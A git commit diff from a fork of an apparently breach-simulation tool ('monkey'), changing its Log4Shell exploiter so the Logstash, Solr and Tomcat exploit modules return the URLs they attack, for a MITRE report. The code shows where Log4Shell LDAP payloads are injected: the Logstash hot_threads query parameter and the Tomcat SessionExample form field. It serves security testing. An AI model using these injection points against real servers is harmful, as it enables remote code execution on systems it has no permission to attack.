forked from p34709852/monkey
Agent: add vulnerable log4shell url's
Url's are used in mitre report
This commit is contained in:
parent
75ed119c00
commit
189505a97d
|
@ -143,7 +143,7 @@ class Log4ShellExploiter(WebRCE):
|
|||
for exploit in get_log4shell_service_exploiters():
|
||||
for port in self._open_ports:
|
||||
try:
|
||||
exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
|
||||
url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
|
||||
except Exception as ex:
|
||||
logger.warning(
|
||||
"An error occurred while attempting to exploit log4shell on a "
|
||||
|
@ -155,6 +155,7 @@ class Log4ShellExploiter(WebRCE):
|
|||
"service_name": exploit.service_name,
|
||||
"port": port,
|
||||
}
|
||||
self.exploit_info["vulnerable_urls"].append(url)
|
||||
return True
|
||||
|
||||
return False
|
||||
|
|
|
@ -12,5 +12,6 @@ class IServiceExploiter(metaclass=abc.ABCMeta):
|
|||
|
||||
@staticmethod
|
||||
@abc.abstractmethod
|
||||
def trigger_exploit(payload: str, host: VictimHost, port: int):
|
||||
def trigger_exploit(payload: str, host: VictimHost, port: int) -> str:
|
||||
# Return the URL the exploit was attempted on
|
||||
raise NotImplementedError
|
||||
|
|
|
@ -15,6 +15,8 @@ class LogStashExploit(IServiceExploiter):
|
|||
def trigger_exploit(payload: str, host: VictimHost, port: int):
|
||||
url = f"http://{host.ip_addr}:{port}/_node/hot_threads?human={payload}"
|
||||
try:
|
||||
resp = requests.get(url, timeout=5, verify=False) # noqa DUO123
|
||||
requests.get(url, timeout=5, verify=False) # noqa DUO123
|
||||
except requests.ReadTimeout as e:
|
||||
logger.debug(f"Log4shell request failed {e}")
|
||||
|
||||
return url
|
||||
|
|
|
@ -18,3 +18,5 @@ class SolrExploit(IServiceExploiter):
|
|||
requests.post(url, timeout=5, verify=False) # noqa DUO123
|
||||
except requests.ReadTimeout as e:
|
||||
logger.debug(f"Log4shell request failed {e}")
|
||||
|
||||
return url
|
||||
|
|
|
@ -16,6 +16,8 @@ class TomcatExploit(IServiceExploiter):
|
|||
url = f"http://{host.ip_addr}:{port}/examples/servlets/servlet/SessionExample"
|
||||
payload = {"dataname": "foo", "datavalue": payload}
|
||||
try:
|
||||
resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
|
||||
requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123
|
||||
except requests.ReadTimeout as e:
|
||||
logger.debug(f"Log4shell request failed {e}")
|
||||
|
||||
return url
|
||||
|
|
Loading…
Reference in New Issue